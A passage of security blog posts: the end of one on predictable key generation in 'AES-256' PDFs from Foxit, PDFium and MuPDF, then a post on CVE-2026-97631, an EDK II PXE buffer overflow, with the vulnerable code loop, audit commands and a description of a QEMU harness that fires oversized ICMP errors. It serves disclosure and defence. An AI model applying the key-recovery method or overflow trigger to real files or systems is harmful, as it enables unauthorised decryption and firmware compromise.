Foxit Reader 2026.1.3.36551 derived its file key as SHA-256 of a 32-bit timestamp, 32 uninitialized bytes (zeros in practice), and the literal string "there". From the published Rust PoC, verbatim:

material[..4].copy_from_slice(&timestamp.to_le_bytes());
material[36..].copy_from_slice(b"there");

Thirty-two bits of timestamp means 2^32 candidates at worst, but the /Perms known-plaintext check prunes instantly, and a 32-thread search covers every second since 1970 in under five seconds. The uninitialized-memory bytes add zero entropy on every machine V12 tested.

The lineage detail that widens the blast radius: this exact derivation appears in PDFium's first public commit (May 2014), with the file crediting Foxit as the original author. PDFium is Chromium's PDF engine, embedded in countless editors and viewers. Anyone who copied that code path inherited a timestamp-derived "AES-256" key.

OpenPDF 3.0.5 and iText 9.7.1 close the set: keys from an ARC4 stream seeded with a millisecond timestamp plus the JVM's free memory, guessable from the plaintext salts in /U and /O, with a larger but still tractable search.

The cipher was never the problem

This is the pattern the whole month has been about, in miniature. AES-256 is fine. The password wrapping is fine. The spec (rev 6) is fine. What broke was the boring plumbing between "the spec says random" and "the code called rand()": an LCG seeded by a clock, uninitialized memory, a string someone needed for alignment. The same class of failure as the CA whose intermediate key was the number 4 and the KV pool sized at 65% of the context window: the strong primitive at the end of a weak pipe is a weak primitive. "AES-256" on a feature list is a claim about 2^256, and the only thing that makes it true is where the key bytes come from.

What to do now

MuPDF users: 1.28.5 fixes key generation, but does not fix existing files: every AES-256 PDF written by an older MuPDF still has one of 512 keys today. If those documents matter, treat them as unencrypted and re-issue them: new file, current software. pymupdf ships vulnerable MuPDF across many versions, so check what your pipeline embeds (pymupdf.mupdf_version_tuple).
Foxit / PDFium-derivatives: update, then assume PDFs written by affected versions are timestamp-recoverable and re-issue what matters.
Everyone else: next time a vendor says "military-grade AES-256", ask where the key bytes come from. That question, answered honestly, is the entire field of cryptography engineering.

TL;DR: password-protected "AES-256" PDFs from MuPDF < 1.28.5 have 9 bits of key entropy: 512 candidates, 7 ms to generate, sub-second recovery with public tooling. Foxit hashed a timestamp and the string "there"; PDFium carried that code since 2014. I created, locked, and passwordlessly decrypted one in my lab in under a second, with every command above reproducible.

Sources: V12: The case of the 9 bit AES key · PoC decryptors (v12-security/pocs) · MuPDF fix in 1.28.5

A 16-year-old buffer overflow boots before your defenses: CVE-2026-97631 in EDK II's PXE driver

Sam LABBE — Wed, 28 Oct 2026 13:29:51 +0000

There is a buffer overflow in the network-boot driver of TianoCore EDK II - the open-source UEFI reference implementation that virtually every server BIOS on the planet derives from - and it has been there for sixteen years. CVE-2026-97631, rated 9.5: during a PXE network boot, an oversized ICMP error message writes attacker-controlled bytes past a 504-byte struct, corrupting firmware memory - code execution in ring 0, before Secure Boot and TPM even load. Found by Alex Matrosov and Dan Holmes. And the disclosure itself broke: AMI pushed the fix to a public repo a month ahead of the coordinated date, forcing an early advisory. The fifth disclosure-pipeline failure of the month, on the blog that has been counting them.

This post: the mechanism from the actual fix diff, what the bug does and doesn't give an attacker, the embargo story, a fleet audit you can run in one line - and the headless QEMU harness I built to reproduce it (now on GitHub: slabbdev/uefi-pxe-cve-2026-97631), documented to the exact point where my hardware said no.

The bug, read from the fix

The vulnerable code lives in NetworkPkg/UefiPxeBcDxe/PxeBcSupport.c - the handler that processes ICMP error messages arriving while the firmware network-boots. Here is the actual buggy loop, from the repo, before the patch (PR #13200, opened Sept 28):

CopiedLen = 0;
IcmpError  = (UINT8 *)&Mode->IcmpError;          // EFI_PXE_BASE_CODE_ICMP_ERROR = 504 bytes

for (Index = 0; Index < RxData->FragmentCount; Index++) {
    CopiedLen += RxData->FragmentTable[Index].FragmentLength;   // (1)
    if (CopiedLen <= sizeof (EFI_PXE_BASE_CODE_ICMP_ERROR)) {
        CopyMem (IcmpError, ...FragmentBuffer, ...FragmentLength);   // (2)
    } else {
        CopyMem (IcmpError, ...);   // the else branch copied too - truncated in the diff, same object
    }
}

Two textbook flaws stacked: the bound is checked against the cumulative length after adding the fragment (1), and a copy happens in both branches (2). Craft an ICMP error whose quoted payload exceeds 504 bytes - trivially, since the ICMP error body is just "original datagram" bytes you control - and the writes run past the end of the IcmpError struct inside the firmware's DXE phase. The fix introduces a FragmentLen variable and copies strictly bounded amounts per fragment.

What that buys an attacker, precisely: memory corruption in ring 0, in firmware, during the boot window - before the OS, before Secure Boot's runtime protections matter, before TPM-measured boot captures anything sane. The researchers note it can bypass remote attestation and break disk encryption assumptions. What it does NOT buy: this is not an internet-facing RCE. You need a position on the local network, a target that actually does PXE network boot (datacenter servers, fat clients - not your laptop booting from disk), and per-model tuning of the exploit. It is an insider/nation-state/ransomware escalation tool, not a worm.

The disclosure that broke

The coordinated embargo targeted January. Then AMI - an IBV whose BIOS AMI, Insyde, Phoenix and OEMs ship - published the fix pull request on September 28, a month early, blowing the timeline and forcing the early advisory. The PR is still there, timestamped, from an AMI engineer. Ars asked AMD, Phoenix, AMI, Microsoft and Amazon for comment; none answered. Intel and Arm claim their products aren't directly affected, though both borrow from EDK II lineage.

The month's disclosure-failure scoreboard, for those keeping count: LiteLLM reposted with scrambled dates, ZDI's private queue leaked to the public LKML, eMudhra blamed "amplification", a measured PHP advisory got dressed as BREAKING - and now an IBV broke its own embargo. Five failures, five different mechanisms, one lesson: the pipeline around the vulnerability is the vulnerability.

Audit your fleet - one line

PXE is on by default on most server firmwares. The audit:

# any network-boot entries in the firmware boot order?
efibootmgr -v | grep -iE 'pxe|network|ip4|ip6'

# BMC angle: many boards can enable network boot remotely - check yours
ipmitool lan print 1   # if the BMC is reachable, PXE policy is BMC policy

If nothing boots from the network and nothing can turn it on remotely, this CVE is not your fire today - but the patch wave is coming through your BIOS vendors over the next months, and unlike Secure Boot key rollovers, this one is a normal firmware update. Add "EDK II PXE fix" to the checklist of the next BIOS refresh cycle; disable network boot entirely on machines that never PXE.

The harness - what I built, what worked, what didn't

I tried to reproduce the crash locally, headless, on the exact vulnerable code. The harness (three small files, in the repo) is genuinely reusable for any OVMF boot-testing:

bridge.py - a Python DHCP server + attack tool on the QEMU wire: binds the QEMU socket UDP netdev pair, answers DHCP DISCOVER/REQUEST, waits for the TFTP read request, then fires 6× ICMP type-3 code-1 errors quoting a 1,200-byte fake datagram into a struct with room for 504. Pure stdlib, no scapy.
router.py - a screen-state router: classifies OVMF's screen from screendump pixel statistics (black = UEFI Shell, blue = front page/Boot Manager), then drives the headless firmware through the monitor (sendkey) into the Boot Manager and onto UEFI PXE IPv4 - no display, no VNC.
QEMU config: OVMF pflash, virtio-net on a UDP socket netdev (no multicast flakiness), filter-dump pcap tap on the wire, -d cpu_reset to catch firmware triple-faults.

What worked: everything up to the PXE boot attempt, reproducibly. The firmware boots, the router navigates the Boot Manager blindly and lands on the PXE screen (Client MAC banner and all), the wire tap and reset counters are live, the DHCP/attack engine is armed.

What didn't: the homebrew QEMU-bundled OVMF builds (IA32 and X64, q35 and i440fx) display the PXE banner and then transmit zero packets - the DHCP Discover never leaves the firmware under TCG emulation, so the ICMP trigger never arrives at the vulnerable handler. Reproducing further needs a serial-debug OVMF build (or a real machine with PXE enabled, which I won't point an overflow at outside a lab). The harness is documented to this exact boundary on purpose: it's the difference between "I ran it" and "I read it", and today this post is honest about being the second with the doors open for the first.

TL;DR

Sixteen-year-old overflow in the UEFI network-boot driver, ring 0 before your defenses load, local-network attack on PXE-booting fleets - patched in EDK II and rolling out through every BIOS vendor now. Check your boot order (efibootmgr), disable network boot where you don't need it, and add the fix to your firmware refresh checklist. The disclosure broke a month early, which is somehow the least surprising sentence of October.

Sources: Ars Technica - Code-execution flaw in UEFI firmware · EDK II fix PR #13200 · EDK II fix PR #13302 · Harness repo: github.com/slabbdev/uefi-pxe-cve-2026-97631